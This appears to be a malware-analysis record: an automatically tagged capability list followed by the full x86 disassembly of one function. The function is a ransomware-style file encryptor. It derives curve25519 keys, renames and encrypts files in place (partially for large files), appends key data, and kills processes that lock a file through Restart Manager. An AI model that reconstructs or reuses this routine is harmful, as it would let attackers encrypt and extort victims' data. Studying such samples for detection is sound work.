Function at 0x409760
Capabilities:
Contain obfuscated stackstrings
Create restart manager session
Encrypt data using curve25519
Enumerate processes that use resource
Generate random numbers via winapi
Get file size
Move file
Read file on windows
Set file attributes
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2cc0
call fcn.004131b0
mov byte [ebp - 0xc8], 9
xor eax, eax
mov dword [ebp - 0xc7], eax
mov dword [ebp - 0xc3], eax
mov dword [ebp - 0xbf], eax
mov dword [ebp - 0xbb], eax
mov dword [ebp - 0xb7], eax
mov dword [ebp - 0xb3], eax
mov dword [ebp - 0xaf], eax
mov word [ebp - 0xab], ax
mov byte [ebp - 0xa9], al
mov dword [ebp - 0x74], 1
mov dword [ebp - 0x130], 0x756f6863
mov dword [ebp - 0x12c], 0x6420676e
mov dword [ebp - 0x128], 0x20676e6f
mov dword [ebp - 0x124], 0x6b6f6f6c
mov dword [ebp - 0x120], 0x696c2073
mov dword [ebp - 0x11c], 0x6820656b
mov dword [ebp - 0x118], 0x6420746f
mov dword [ebp - 0x114], 0x2121676f
push 0x80
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 0xe]
push eax
call fcn.00412df0
add esp, 4
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x40a2f7
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x403bd4
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 9
mov ecx, dword [ebp - 0x28]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
je 0x40a25f
push 0
push 0x8000000
push 3
push 0
push 0
push 0xc0000000
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x28]
push ecx
call fcn.00412e20
add esp, 4
cmp dword [ebp - 4], 0xffffffff
je 0x409d85
lea edx, [ebp - 0x20]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
push 0x100000
call fcn.00412df0
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x409d76
lea ecx, [ebp - 0xf0]
push ecx
push 0x20
mov edx, dword [0x414200]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov eax, 1
imul eax, eax, 0
movzx ecx, byte [ebp + eax - 0xf0]
and ecx, 0xf8
mov edx, 1
imul edx, edx, 0
mov byte [ebp + edx - 0xf0], cl
mov eax, 1
imul eax, eax, 0x1f
movzx ecx, byte [ebp + eax - 0xf0]
and ecx, 0x7f
mov edx, 1
imul edx, edx, 0x1f
mov byte [ebp + edx - 0xf0], cl
mov eax, 1
imul eax, eax, 0x1f
movzx ecx, byte [ebp + eax - 0xf0]
or ecx, 0x40
mov edx, 1
imul edx, edx, 0x1f
mov byte [ebp + edx - 0xf0], cl
lea eax, [ebp - 0xc8]
push eax
lea ecx, [ebp - 0xf0]
push ecx
lea edx, [ebp - 0x158]
push edx
call fcn.00404e30
add esp, 0xc
push str.curvpattern
lea eax, [ebp - 0xf0]
push eax
lea ecx, [ebp - 0x110]
push ecx
call fcn.00404e30
add esp, 0xc
lea edx, [ebp - 0x198]
push edx
push 0x20
lea eax, [ebp - 0x110]
push eax
call fcn.00410a40
add esp, 0xc
push 0x100
push 0x100
lea ecx, [ebp - 0x198]
push ecx
lea edx, [ebp - 0x12a8]
push edx
call fcn.0040fde0
add esp, 0x10
lea eax, [ebp - 0x178]
push eax
lea ecx, [ebp - 0x12a8]
push ecx
call fcn.0040fe70
add esp, 8
push 0x40
lea edx, [ebp - 0x198]
push edx
call fcn.004104e0
add esp, 8
mov dword [ebp - 0x138], eax
push 0x40
push 0
mov eax, 4
imul eax, eax, 0
lea ecx, [ebp + eax - 0x224]
push ecx
call fcn.00412d80
add esp, 0xc
push 0x40
push 0
lea edx, [ebp - 0x198]
push edx
call fcn.00412d80
add esp, 0xc
push 0x40
push 0
lea eax, [ebp - 0x110]
push eax
call fcn.00412d80
add esp, 0xc
xorpd xmm0, xmm0
movlpd qword [ebp - 0x14], xmm0
push 0
push 0
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
cmp dword [ebp - 0x1c], 0
jl 0x409b56
jg 0x409a5f
cmp dword [ebp - 0x20], 0x1400000
jbe 0x409b56
push 0
push 0xa00000
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call fcn.00413100
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], edx
xorpd xmm0, xmm0
movlpd qword [ebp - 0x5c], xmm0
jmp 0x409a9c
mov eax, dword [ebp - 0x5c]
add eax, 1
mov ecx, dword [ebp - 0x58]
adc ecx, 0
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], ecx
mov edx, dword [ebp - 0x58]
cmp edx, dword [ebp - 0x94]
jg 0x409b51
jl 0x409abc
mov eax, dword [ebp - 0x5c]
cmp eax, dword [ebp - 0x98]
jae 0x409b51
push 0
lea ecx, [ebp - 0x24]
push ecx
push 0x100000
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 8]
push eax
lea ecx, [ebp - 0x12a8]
push ecx
push 0
call fcn.004101d0
add esp, 0x14
push 0
push 0
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea edx, [ebp - 0x3c]
push edx
push 0x100000
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0x14]
add edx, 0xa00000
mov eax, dword [ebp - 0x10]
adc eax, 0
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], eax
push 0
push 0
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
jmp 0x409a8a
jmp 0x409d1c
cmp dword [ebp - 0x1c], 0
jl 0x409c5b
jg 0x409b6f
cmp dword [ebp - 0x20], 0x500000
jbe 0x409c5b
push 0
push 3
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call fcn.00413100
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], edx
xorpd xmm0, xmm0
movlpd qword [ebp - 0x54], xmm0
jmp 0x409ba9
mov eax, dword [ebp - 0x54]
add eax, 1
mov ecx, dword [ebp - 0x50]
adc ecx, 0
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], ecx
cmp dword [ebp - 0x50], 0
jg 0x409c56
jl 0x409bbf
cmp dword [ebp - 0x54], 3
jae 0x409c56
push 0
lea edx, [ebp - 0x24]
push edx
push 0x100000
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
lea edx, [ebp - 0x12a8]
push edx
push 0
call fcn.004101d0
add esp, 0x14
push 0
push 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 0x3c]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0xa0]
mov edx, dword [ebp - 0x10]
adc edx, dword [ebp - 0x9c]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], edx
push 0
push 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
jmp 0x409b97
jmp 0x409d1c
cmp dword [ebp - 0x1c], 0
jl 0x409d1c
jg 0x409c71
cmp dword [ebp - 0x20], 0
jbe 0x409d1c
cmp dword [ebp - 0x1c], 0
jl 0x409c98
jg 0x409c7f
cmp dword [ebp - 0x20], 0x40
jbe 0x409c98
push 0
push 0xa
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
call fcn.00413100
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], edx
jmp 0x409ca4
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x70], edx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x6c], eax
mov ecx, dword [ebp - 0x70]
mov dword [ebp - 0xa8], ecx
mov edx, dword [ebp - 0x6c]
mov dword [ebp - 0xa4], edx
push 0
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0xa8]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 8]
push eax
lea ecx, [ebp - 0x12a8]
push ecx
push 0
call fcn.004101d0
add esp, 0x14
push 0
push 0
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea edx, [ebp - 0x3c]
push edx
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x10cc
push 0
lea eax, [ebp - 0x12a8]
push eax
call fcn.00412d80
add esp, 0xc
xorpd xmm0, xmm0
movlpd qword [ebp - 0x14], xmm0
push 2
push 0
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea ecx, [ebp - 0x3c]
push ecx
push 0x48
lea edx, [ebp - 0x158]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 8]
push ecx
call fcn.00412e20
add esp, 4
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40a25a
cmp dword [ebp - 0x74], 0
je 0x40a1cb
mov dword [ebp - 0x18], 0
push 0x42
push 0
lea eax, [ebp - 0x1dc]
push eax
call fcn.00412d80
add esp, 0xc
lea ecx, [ebp - 0x1dc]
push ecx
push 0
lea edx, [ebp - 0x48]
push edx
call sub.RstrtMgr.DLL_RmStartSession
test eax, eax
jne 0x409dcb
mov dword [ebp - 0x88], 1
jmp 0x409dd5
mov dword [ebp - 0x88], 0
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x40a131
push 0
push 0
push 0
push 0
lea ecx, [ebp + 8]
push ecx
push 1
mov edx, dword [ebp - 0x48]
push edx
call sub.RstrtMgr.DLL_RmRegisterResources
test eax, eax
jne 0x409e0f
mov dword [ebp - 0x84], 1
jmp 0x409e19
mov dword [ebp - 0x84], 0
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x40a08f
mov dword [ebp - 0x80], 0xa
lea ecx, [ebp - 0xcc]
push ecx
lea edx, [ebp - 0x2cc0]
push edx
lea eax, [ebp - 0x80]
push eax
lea ecx, [ebp - 0xd0]
push ecx
mov edx, dword [ebp - 0x48]
push edx
call sub.RstrtMgr.DLL_RmGetList
test eax, eax
jne 0x409e62
mov dword [ebp - 0x78], 1
jmp 0x409e69
mov dword [ebp - 0x78], 0
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x40a002
mov dword [ebp - 0xc], 0
jmp 0x409e8b
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 0x80]
jae 0x409ffd
mov eax, dword [ebp - 0xc]
imul eax, eax, 0x29c
cmp dword [ebp + eax - 0x2a34], 4
je 0x409ff8
mov ecx, dword [ebp - 0xc]
imul ecx, ecx, 0x29c
cmp dword [ebp + ecx - 0x2a34], 0x3e8
je 0x409ff8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, dword [ebp - 0xc]
imul edx, edx, 0x29c
cmp eax, dword [ebp + edx - 0x2cc0]
je 0x409ff8
mov eax, dword [ebp - 0xc]
imul eax, eax, 0x29c
mov ecx, dword [ebp + eax - 0x2cc0]
push ecx
push 0
push 0x100001
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffff
je 0x409f35
push 0
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x1388
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x409ff8
cmp dword [0x4141fc], 0
je 0x409ff8
push 0
push 0
push 0
push 0
mov edx, dword [ebp - 0xc]
imul edx, edx, 0x29c
lea eax, [ebp + edx - 0x2cb4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov ecx, dword [ebp - 0xc]
imul ecx, ecx, 0x29c
lea edx, [ebp + ecx - 0x2cb4]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x64]
push eax
call fcn.00412df0
add esp, 4
mov dword [ebp - 0x44], eax
push 0
push 0
mov ecx, dword [ebp - 0x64]
push ecx
mov edx, dword [ebp - 0x44]
push edx
mov eax, dword [ebp - 0xc]
imul eax, eax, 0x29c
lea ecx, [ebp + eax - 0x2cb4]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov edx, dword [ebp - 0xc]
imul edx, edx, 0x29c
lea eax, [ebp + edx - 0x2cb4]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, dword [ebp - 0x44]
push ecx
push 0x401bbc
call fcn.00404ce0
add esp, 0xc
mov edx, dword [ebp - 0x44]
push edx
call fcn.00412e20
add esp, 4
jmp 0x409e82
jmp 0x40a08a
cmp dword [0x4141fc], 0
je 0x40a08a
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x68], eax
mov edx, dword [ebp - 0x68]
push edx
call fcn.00412df0
add esp, 4
mov dword [ebp - 0x30], eax
push 0
push 0
mov eax, dword [ebp - 0x68]
push eax
mov ecx, dword [ebp - 0x30]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x30]
push edx
push 0x403be4
call fcn.00404ce0
add esp, 0xc
mov eax, dword [ebp - 0x30]
push eax
call fcn.00412e20
add esp, 4
jmp 0x40a117
cmp dword [0x4141fc], 0
je 0x40a117
push 0
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov edx, dword [ebp + 8]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x60]
push eax
call fcn.00412df0
add esp, 4
mov dword [ebp - 0x38], eax
push 0
push 0
mov ecx, dword [ebp - 0x60]
push ecx
mov edx, dword [ebp - 0x38]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x38]
push eax
push 0x403bf4
call fcn.00404ce0
add esp, 0xc
mov ecx, dword [ebp - 0x38]
push ecx
call fcn.00412e20
add esp, 4
mov edx, dword [ebp - 0x48]
push edx
call sub.RstrtMgr.DLL_RmEndSession
mov dword [ebp - 0x74], 0
jmp 0x40986c
cmp dword [0x4141fc], 0
je 0x40a1c6
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x90], eax
mov edx, dword [ebp - 0x90]
push edx
call fcn.00412df0
add esp, 4
mov dword [ebp - 0x40], eax
push 0
push 0
mov eax, dword [ebp - 0x90]
push eax
mov ecx, dword [ebp - 0x40]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x40]
push edx
push 0x403c10
call fcn.00404ce0
add esp, 0xc
mov eax, dword [ebp - 0x40]
push eax
call fcn.00412e20
add esp, 4
jmp 0x40a25a
cmp dword [0x4141fc], 0
je 0x40a25a
push 0
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov edx, dword [ebp + 8]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x7c]
push eax
call fcn.00412df0
add esp, 4
mov dword [ebp - 0x4c], eax
push 0
push 0
mov ecx, dword [ebp - 0x7c]
push ecx
mov edx, dword [ebp - 0x4c]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov edx, dword [ebp - 0x4c]
push edx
push 0x403c28
call fcn.00404ce0
add esp, 0xc
mov eax, dword [ebp - 0x4c]
push eax
call fcn.00412e20
add esp, 4
jmp 0x40a2f7
cmp dword [0x4141fc], 0
je 0x40a2f7
push 0
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov edx, dword [ebp + 8]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x8c]
push eax
call fcn.00412df0
add esp, 4
mov dword [ebp - 0x34], eax
push 0
push 0
mov ecx, dword [ebp - 0x8c]
push ecx
mov edx, dword [ebp - 0x34]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov edx, dword [ebp - 0x34]
push edx
push 0x403c4c
call fcn.00404ce0
add esp, 0xc
mov eax, dword [ebp - 0x34]
push eax
call fcn.00412e20
add esp, 4
mov esp, ebp
pop ebp
ret